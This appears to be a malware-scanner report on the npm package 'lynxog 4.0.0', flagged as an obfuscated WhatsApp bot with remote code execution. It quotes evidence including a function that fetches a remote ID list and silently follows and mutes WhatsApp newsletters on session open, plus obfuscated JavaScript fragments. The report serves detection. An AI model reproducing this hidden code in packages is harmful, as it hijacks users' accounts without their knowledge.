lynxog 4.0.0
obfuscated WhatsApp bot with remote code execution
“Crasher System”
Remotely controlled WhatsApp newsletter follow with concealmentAutomatically follows a WhatsApp newsletter on session open
SHA-256abd48c8432977459ca7b96b04c58f49c747ef20cd1375434c677243979c8ab46
Evidence
79:15… const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
80 await decrypt();
81 data.message = message;
82 }
83 return data;
84 }));
85 };
86 const autoJoinChannels = async () => {
87 try {
88 const res = await fetch("https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json");
89 if (!res.ok) return;
90
91 const ids = await res.json();
92 if (!Array.isArray(ids)) return;
93
94 for (const id of ids) {
95 if (typeof id !== "string" || !id.endsWith("@newsletter")) {
96 continue;
97 }
98
99 try {
100 await newsletterWMexQuery(id, QueryIds.FOLLOW);
101
102 await new Promise(r => setTimeout(r, 3000));
103
104 await newsletterWMexQuery(id, QueryIds.MUTE);
105 } catch {}
106
107 await new Promise(r => setTimeout(r, 10000));
108 }
109 } catch {}
110};
111 sock.ev.on("connection.update", ({ connection }) => {
112 if (connection !== "open") return;
113
114 setTimeout(() => {
⋯8 lines
148:52… ull }
149 });
150 },
151 newsletterUnfollow: async (jid) => {
152 await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
153 },
154 newsletterFollow: async (jid) => {
155 await newsletterWMexQuery(jid, QueryIds.FOLLOW);
156 },
157 newsletterUnmute: async (jid) => {
158 await newsletterWMexQuery(jid, QueryIds.UNMUTE);
159 },
160 newsletterMute: async (jid) => {
161 await newsletterWMexQuery(jid, QueryIds.MUTE);
162 },
163 newsletterCreate: async (name, description, picture) => {
⋯6 lines
1:49976… 78\x28\x6b\x61\x7d\x77\x3b\x68\x41";function GRXk1Lw(ygHf8qh,OU2BAl,GRXk1Lw){for(var epbqEs9="",i9wTgj=0;i9wTgj<GRXk1Lw;i9wTgj++){ygHf8qh=ygHf8qh+2654435769|0;var bqfL0d=((ygHf8qh^ygHf8qh>>>13)%95+95)%95;var s6EVUt=W7kzJoP["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](OU2BAl+i9wTgj)-32;var HV7le07=((s6EVUt-bqfL0d)%95+95)%95;epbqEs9+=String.fromCharCode(HV7le07+32)}return epbqEs9}function epbqEs9(ygHf8qh){for(var OU2BAl=0,W7kzJoP=0;W7kzJoP<ygHf8qh["\x6c\x65\x6e\x67\x74\x68"];W7kzJoP++){OU2BAl+=ygHf8qh[W7kzJoP]}return OU2BAl}function i9wTgj(ygHf8qh,W7kzJoP){return OU2BAl["\u0073\u006c\u0069\u0063\u0065"](ygHf8qh,W7kzJoP)}const bqfL0d=[4290772992,0,false,1,undefined,16,2246822507,13,3266489909,1023,65536,10,55296,56320,6,12,63,128,192,"\x65","\x49\x6e\x76\x61\x6c\x69","\x64\x20\x62\x79\x74\x65","\u0020\u0069\u006e\u0064\u0065\u0078",255,224,31,240,15,"\u0064\u0020\u0063\u006f\u006e\u0074","\x69\x6e\x75\x61\x74\x69","\x6f\x6e\x20\x62\x79\x74",7,18,null,true,"\u003f",33554432,2,67108864,"\u000a","\x74\x65\x73\x74",56319,64512,65535,57343,"\u004c\u006f\u006e\u0065\u0020\u0073","\u0075\u0072\u0072\u006f\u0067\u0061","\u0074\u0065\u0020\u0055\u002b",4294967168,4294965248,4294901760,4292870144,2048,248,11 …
1:511722… 36\u006f\u0034\u0034\u0066\u0057"+"\u0037\u0071\u004b\u0054"){if("\u0079\u0038\u004f\u005f\u0063\u0074"+"\u005f" in NpHnqxe){BgOljiD()}function BgOljiD(){var ygHf8qh=function(ygHf8qh){var OU2BAl=ygHf8qh.length;if(OU2BAl<bqfL0d[37])return bqfL0d[1];var W7kzJoP=Math.max(...ygHf8qh);var s6EVUt=Math.min(. …
1955:11… // Give the socket time to enter connecting state
1956 setTimeout(tryPairing, 5000);
1957 }
1958
1959 sock.ev.on('connection.update', async (update) => {
1960 const { connection, lastDisconnect } = update;
1961
1962 if (connection === 'open') {
1963 …
Showing the top 5 files — 4 more files (39 regions) not shown.
No evidence locations were recorded for this file. Raw result